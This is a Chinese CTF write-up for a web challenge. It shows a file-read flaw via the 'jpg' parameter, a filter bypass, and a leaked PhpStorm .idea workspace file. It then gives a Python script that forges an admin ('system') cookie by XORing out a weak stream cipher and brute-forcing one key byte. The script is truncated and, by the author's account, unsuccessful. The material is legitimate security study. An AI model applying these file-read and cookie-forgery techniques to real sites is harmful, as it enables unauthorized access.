0x00 

点开http://20c4cbc67f924814a8c4311e37570acccb84c0de7f514885.changame.ichunqiu.com/index.php?jpg=hei.jpg链接是一张图片,右键查看图片信息和查看网页源码都看到了base64编码后的字符串,将hei.jpg改为index.php(文件包含漏洞),右键查看源码复制字符串进行解码,得到index.php:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>
View Code

观察到代码里 Created by PhpStorm 和config被过滤了,百度搜索phpstorm和config(其实是看wp知道的),发现phpstorm建立项目是会自动生成.idea文件夹,存储着一些配置信息,查看该文件夹内workspace.xml信息,http://20c4cbc67f924814a8c4311e37570acccb84c0de7f514885.changame.ichunqiu.com/./idea/workspace.xml,观察到:

 刚才查看index.php,知道config被过滤,且输入文件的名字必须是只能包括大小写字母和数字,但我们注意到config被替换成“_”,所以想查看f13g_ichunqiu.php可构造?jpg=fl3gconfigichuqiu.php,查看源码base64解码可得到fl3g_ichuqiu.php的内容:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++)    {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;//结果是一串包含大小写字母和数字的字符串,长度为length
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);//ord函数返回字符串的首个字母的ascii码的值
    }
    $txt = $tmp;    //每个加10
    $rnd=random(4);
    $key=md5($rnd.$key);    //随机数+key哈希一下
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];     //明文和key按位异或
    }
    return base64_encode($rnd.$ttmp);   //base64加密随机数与按位异或后的结果
}
//解密过程,逆着写一遍
function decrypt($txt,$key){
    $txt=base64_decode($txt);   //base64解密
    $rnd = substr($txt,0,4);    //得到前四位的rnd
    $txt = substr($txt,4);      //得到按位异或的结果
    $key=md5($rnd.$key);        //得到按位异或的其中一个操作数

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];    //按位异或
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);         //减10
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";
}
?>
View Code

一个加密函数,一个解密函数,加密的大致过程为:base64encode(rand+md5(rand+keys)^(plaintext+10)),其中rand为随机生成的四个字符

$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";

注意到若当cookie中的user解密过后为system时会输出flag,所以我们的目的就是得到system加密后的结果,同时直接访问得到的cookie值为guest加密后的结果,通过得到的cookie值base64解密,然后与guest按位异或可得到md5(rand+keys)(简单的密码学知识),

# _*_ coding: utf-8 _*

from base64 import *
import requests
import string

url = "http://20c4cbc67f924814a8c4311e37570acccb84c0de7f514885.changame.ichunqiu.com/fl3g_ichuqiu.php"
cookie = requests.get(url).cookies['user']

txt = b64decode(cookie)
rnd = txt[:4].decode()
tmp = txt[4:].decode()

keys=list('123456')
guest = list('guest')
system = list('system')

for i in range(len(guest)):
    guest[i] = chr(ord(guest[i])+10)

for i in range(len(guest)):
    keys[i]=chr(ord(tmp[i]) ^ ord(guest[i]))
    #print(keys[i]) #md5后的结果,想装个hashlib试试,网速太慢...

for i in range(len(system)):
    system[i] = chr(ord(system[i])+10)

letters='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'#第六位key的爆破字符
tmp_new = ''
cookie_system=[]
str1 = ''
for ch in letters:
    keys[5]=chr(ord(ch))
    #print(keys)
    for i in range(len(system)):
        tmp_new += chr(ord(system[i])^ord(keys[i]))
    str1 = bytes(rnd + tmp_new,'utf-8')
    cookie_system.append(b64encode(str1))
    #print(str(b64encode(str1)))
    tmp_new=''

for i in range(len(cookie_system)):
    cookies = {'user':cookie_system[i].decode()}
    #print(cookies)
    i=i+1
    res=requests.get(url,cookies=cookies)
    print(res.text)
    if 'flag' in res.text:
        print(res.text

没有得到flag(我在想,每次产生的随机数都是不一样的,拼接了这次的rnd为什么能得到flag呢),写这个脚本中遇到的问题:

1、python3字节和字符之间的转换

2、python有关于request的函数的使用不熟练

 0x01 总结

 感觉到了自己的不足,一个题目做了两天还没做完,文件包含这块还可以,想到了就行,python脚本写的时候是真的有点儿费时间,对python数据类型的转换以及request模块不够熟悉,需要学习

参考文献

https://www.cnblogs.com/lsdb/p/9071015.html

https://www.cnblogs.com/zhangxinqi/p/9201594.html#_label4

https://cloud.tencent.com/developer/article/1493120

https://www.cnblogs.com/liyuanhong/articles/4375890.html

12-21 23:54